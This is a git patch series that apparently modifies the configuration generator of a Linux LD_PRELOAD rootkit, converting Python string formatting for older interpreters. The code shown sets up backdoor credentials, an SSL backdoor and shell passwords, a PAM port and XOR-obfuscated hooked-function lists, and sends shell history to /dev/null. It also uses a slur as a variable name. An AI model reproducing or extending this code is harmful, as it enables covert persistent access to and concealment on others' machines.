From 20f82814122d13c10bd1489218595b81a292b101 Mon Sep 17 00:00:00 2001 From: Emilien Devos Date: Sun, 15 Jan 2017 00:11:51 +0100 Subject: [PATCH 1/2] Backward compatibility for old version of python http://stackoverflow.com/a/792745/4297304 --- config.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/config.py b/config.py index 5abd3f5..af1a5f5 100644 --- a/config.py +++ b/config.py @@ -8,8 +8,8 @@ if len(sys.argv) != 16: print "Why are you running me from the command line?" - print "Usage: {0} <pam port> <ssl backdoor status> <accept shell password> <low> <high> <execve password> <environ var> <ptrace bug status>".format(sys.argv[0]) - quit() + print "Usage: %s <install> <lib name> <xattr 1> <xattr 2> <username> <plaintext password> <pam port> <ssl backdoor status> <accept shell password> <low> <high> <execve password> <environ var> <ptrace bug status>" % (sys.argv[0]) + sys.exit() MAGIC_GID = int(''.join(random.choice(string.digits[1:]) for x in range(9))) # string.digits[1:] because we don't want any zeros in the magic gid. fuck that From 5a7d3009b0a167567d9cb354348e4a0fee866f82 Mon Sep 17 00:00:00 2001 From: Emilien Devos <unixfox@users.noreply.github.com> Date: Sun, 15 Jan 2017 00:54:48 +0100 Subject: [PATCH 2/2] Converting .format to %s --- config.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/config.py b/config.py index af1a5f5..ceb5e3c 100644 --- a/config.py +++ b/config.py @@ -8,7 +8,7 @@ if len(sys.argv) != 16: print "Why are you running me from the command line?" - print "Usage: %s <install> <lib name> <xattr 1> <xattr 2> <username> <plaintext password> <pam port> <ssl backdoor status> <accept shell password> <low> <high> <execve password> <environ var> <ptrace bug status>" % (sys.argv[0]) + print "Usage: %0s <install> <lib name> <xattr 1> <xattr 2> <username> <plaintext password> <pam port> <ssl backdoor status> <accept shell password> <low> <high> <execve password> <environ var> <ptrace bug status>" % (sys.argv[0]) sys.exit() MAGIC_GID = int(''.join(random.choice(string.digits[1:]) for x in range(9))) # string.digits[1:] because we don't want any zeros in the magic gid. fuck that @@ -206,7 +206,7 @@ def const_h_setup(): const_h += '#define TERM_ENV_VAR "' + xor("TERM=xterm") + '"\n' const_h += '#define VLANY_USER "' + xor(VLANY_USER) + '"\n' - const_h += '#define VLANY_PASSWORD "' + xor(crypt.crypt(VLANY_PASSWORD, "$6${0}".format(''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for x in range(12))))) + '"\n' + const_h += '#define VLANY_PASSWORD "' + xor(crypt.crypt(VLANY_PASSWORD, "$6%0s" % (''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for x in range(12))))) + '"\n' const_h += '#define PAM_PORT ' + str(PAM_PORT) + '\n' const_h += '#define VLANY_PERM "' + xor("root") + '"\n' const_h += '#define HISTFILE "' + xor("/dev/null") + '"\n' @@ -331,40 +331,40 @@ def const_h_setup(): const_h += '#define MAX_LEN 4125\n' for x in CALLS: - const_h += "#define C{0} {1}\n".format(x.upper(), cindex(x)) + const_h += "#define C%0s %1s\n" % (x.upper(), cindex(x)) const_h += '#define _CSIZE ' + str(len(CALLS)) CALL_LIST = '\nstatic char *calls[_CSIZE] = {' for x in CALLS: - CALL_LIST += '"{0}",'.format(xor(x)) + CALL_LIST += '"%0s",' % (xor(x)) CALL_LIST = CALL_LIST[:-1] + "};\n" const_h += CALL_LIST const_h += '#define LIBC_SIZE ' + str(len(LIBC_CALLS)) LIBC_CALL_LIST = '\nstatic char *libc_calls[LIBC_SIZE] = {' for x in LIBC_CALLS: - LIBC_CALL_LIST += '"{0}",'.format(xor(x)) + LIBC_CALL_LIST += '"%0s",' % (xor(x)) LIBC_CALL_LIST = LIBC_CALL_LIST[:-1] + "};\n" const_h += LIBC_CALL_LIST const_h += '#define LIBDL_SIZE ' + str(len(LIBDL_CALLS)) LIBDL_CALL_LIST = '\nstatic char *libdl_calls[LIBDL_SIZE] = {' for x in LIBDL_CALLS: - LIBDL_CALL_LIST += '"{0}",'.format(xor(x)) + LIBDL_CALL_LIST += '"%0s",' % (xor(x)) LIBDL_CALL_LIST = LIBDL_CALL_LIST[:-1] + "};\n" const_h += LIBDL_CALL_LIST const_h += '#define LIBPAM_SIZE ' + str(len(LIBPAM_CALLS)) LIBPAM_CALL_LIST = '\nstatic char *libpam_calls[LIBPAM_SIZE] = {' for x in LIBPAM_CALLS: - LIBPAM_CALL_LIST += '"{0}",'.format(xor(x)) + LIBPAM_CALL_LIST += '"%0s",' % (xor(x)) LIBPAM_CALL_LIST = LIBPAM_CALL_LIST[:-1] + "};\n" const_h += LIBPAM_CALL_LIST const_h += '#define GPSIZE ' + str(len(GAY_PROCS)) GAY_PROCS_LIST = '\nstatic char *gay_procs_list[GPSIZE] = {' for x in GAY_PROCS: - GAY_PROCS_LIST += '"{0}",'.format(xor(x)) + GAY_PROCS_LIST += '"%0s",' % (xor(x)) GAY_PROCS_LIST = GAY_PROCS_LIST[:-1] + "};\n" const_h += GAY_PROCS_LIST